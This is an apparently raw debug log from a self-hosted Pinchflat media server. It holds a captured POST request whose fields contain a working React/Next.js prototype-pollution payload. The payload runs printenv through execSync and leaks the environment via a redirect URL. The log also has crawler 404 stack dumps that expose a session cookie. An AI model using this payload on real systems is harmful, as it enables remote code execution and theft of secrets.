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" <> ... }, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "POST", owner: #PID<0.10944.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync(`echo $(printenv | base64 -w 0)`).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n", "1" => "\"$@0\"", "2" => "[]", "qhokocbraomb" => "HTJkkQ0zlvm60DQndj1Q5zmAS6ZQYu5LaVnGwL7LwIGwBYdJC5RtaZHa2J9ZlraDmFHR41gentXzn5K9tAQ9CMjs9A7AWgif7U5YUo2BZ1o6fnkLadxjntRd3y2b8mKcOp76tNFOu3krDXhzMr1o2UJ7aobHb3BcWmcjtUypOt27s4QSpIfLTp6fmqijuFiQ3fk4x3qC8VN5byJNFMF0xMiXIPFeXnyywrl3UblmTOgg2cqT4Lfb9KM5xjjgqoFOIsRLAJJ88dckpdZ3GA7XnUf1mvXP3oRBQwH1u46zmtvJwmGX7s6fHh4MZs7poY0PCXyeD2MIphMcbHsgq6lM2dyJchCDodXtqqRnM6qMS5I9EUN7QWazLhIe6GT6VdCKcQaCzaXW2nUPJNTBmZVEhwwjymeejopdIqKTRsvvTGrfdilgjOBI6uzS5f0Hus0Al8p9aYq8mTz0WEdKVsYt4XZKxxNbsU0sw53ApJppoxlmtXCwIfWNmgrHIEJl8OZUUBg5oEXngAmpnsrGUaB0QVbtqRfjuAYn7SseqmoxFvb5O87aPKOJHZs9n0hSjMnpyu2gtpGn3PPzMpq2UnHi1ZwZnjlofLUuEGjdqJiisVkAwAloU90Vg6cI7nPVPaeQ4XlGvyZvNhd4JYHlgW5NJhndba387KnSR3ODzDen68mRg8Ad3afRHpHfAKX5Ph1qpTIUlMeUDEOO5DdSsoD4qJY8ieldINliD12LIezVTazS4Te7C82X0IvPOhnKArOBZOln7RxsZNvEt7hDkF1UL5eMBVAtBMmfVk093FdpYCY1lIMW59PEzXgVWKH4qNUyWIYeGRXBv3QgLAz3Q5wKOn3FEeFCYMSNjqIhZySbu8qGS8eOeBxYA2TyKGMU2zLHLCqrMGccbJpxMcv7R4eGj7yCVxrtcKvr808t7E4G8XgPABkQgtIkplNYihxA9Fv0rQrgRJUztGtIDnjr19vmMvAHzNk0 (truncated) 16:35:55.881 [info] GET /sources/1/media/3/edit 16:35:55.881 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3", "source_id" => "1"} Pipelines: [:browser] 16:35:55.882 [debug] QUERY OK source="media_items" db=0.1ms idle=1928.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 16:35:55.882 [debug] QUERY OK source="settings" db=0.0ms idle=1929.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:55.882 [debug] QUERY OK source="settings" db=0.0ms idle=1787.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:55.882 [debug] QUERY OK source="settings" db=0.0ms idle=929.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:55.882 [info] Sent 200 in 1ms 16:35:57.175 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.742 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:17.832 [info] GET /api/v1/videos 16:36:17.832 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:36:17.850 [debug] QUERY OK source="media_items" db=17.6ms idle=1716.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:36:17.900 [info] Sent 200 in 67ms 16:36:27.176 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:31.754 [info] GET /sources/1/media/12/force_download 16:36:31.755 [debug] QUERY OK source="settings" db=0.1ms idle=802.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:31.755 [debug] QUERY OK source="settings" db=0.0ms idle=802.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:31.755 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:36:31.755 [error] #PID<0.10955.0> running PinchflatWeb.Endpoint (connection #PID<0.10954.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/12/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/12/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53514}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUmY2M0dpSjdPanhCTTFwRzU3WXVTS2NE.y_LPBgo4Rkv9CN29ob0irGbL-aEsT3lVw3p9cEmsf2I", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/12", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUmY2M0dpSjdPanhCTTFwRzU3WXVTS2NE.y_LPBgo4Rkv9CN29ob0irGbL-aEsT3lVw3p9cEmsf2I" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10955.0>, params: %{}, path_info: ["sources", "1", "media", "12", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUmY2M0dpSjdPanhCTTFwRzU3WXVTS2NE.y_LPBgo4Rkv9CN29ob0irGbL-aEsT3lVw3p9cEmsf2I" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUmY2M0dpSjdPanhCTTFwRzU3WXVTS2NE.y_LPBgo4Rkv9CN29ob0irGbL-aEsT3lVw3p9cEmsf2I"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/12"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/12/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHFxM5kW5-z2wAA_nB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53514}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUmY2M0dpSjdPanhCTTFwRzU3WXVTS2NE.y_LPBgo4Rkv9CN29ob0irGbL-aEsT3lVw3p9cEmsf2I", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/12", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/12/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10954.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 53514}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUmY2M0dpSjdPanhCTTFwRzU3WXVTS2NE.y_LPBgo4Rkv9CN29ob0irGbL-aEsT3lVw3p9cEmsf2I", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/12", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 16:36:57.177 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.743 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:37:06.222 [info] GET /sources/1/media/4/force_download 16:37:06.222 [debug] QUERY OK source="settings" db=0.1ms idle=1269.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:06.222 [debug] QUERY OK source="settings" db=0.0ms idle=1270.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:06.222 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:37:06.223 [error] #PID<0.10959.0> running PinchflatWeb.Endpoint (connection #PID<0.10958.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/media/4/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 37396}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/4", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10959.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1/media/4"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/media/4/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVHHxmrGtXYStkAA_pB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 37396}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/4", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 37396}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1/media/4", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10959.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, (truncated) 16:37:27.178 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:46.017 [info] GET / 16:37:46.017 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 16:37:46.017 [debug] QUERY OK source="settings" db=0.0ms idle=1064.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:46.017 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1064.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 16:37:46.017 [debug] QUERY OK source="sources" db=0.0ms idle=807.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 16:37:46.018 [debug] QUERY OK source="media_items" db=0.8ms idle=65.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:37:46.019 [debug] QUERY OK source="media_items" db=0.5ms idle=66.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:37:46.019 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:46.019 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:46.019 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:46.020 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 16:37:46.020 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET 